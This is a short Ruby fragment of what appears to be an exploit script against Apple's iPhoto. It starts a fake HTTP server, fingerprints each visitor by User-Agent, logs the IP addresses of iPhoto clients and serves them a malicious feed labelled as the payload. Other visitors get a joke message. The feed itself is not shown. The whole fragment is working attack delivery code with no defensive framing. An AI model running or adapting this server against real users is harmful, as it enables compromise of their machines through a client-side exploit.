puts "++ Starting fake HTTP server at port #{web_port}."
web_server = TCPServer.new(nil, web_port)
while (session = web_server.accept)
user_agent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0]
session.print "HTTP/1.1 200/OK\r\nServer: Unabomber/1.0\r\n"
# Check if remote user-agent is iPhoto.
if user_agent.scan(/iPhoto/).size < 1
puts "-- User connected (#{session.peeraddr[3]}) but not running iPhoto, sending bullshit."
session.print "Content-type: text/plain\r\n\r\n"
session.print "All your Aunt Sophia are belong to us."
else
puts "++ iPhoto #{user_agent.scan(/iPhoto\/(.+?) /)[0]} user connected (#{session.peeraddr[3]}), " +
"sending payload (#{IPHOTO_FEED.size} bytes)."
session.print "Content-type: text/xml\r\n\r\n"
session.print IPHOTO_FEED
end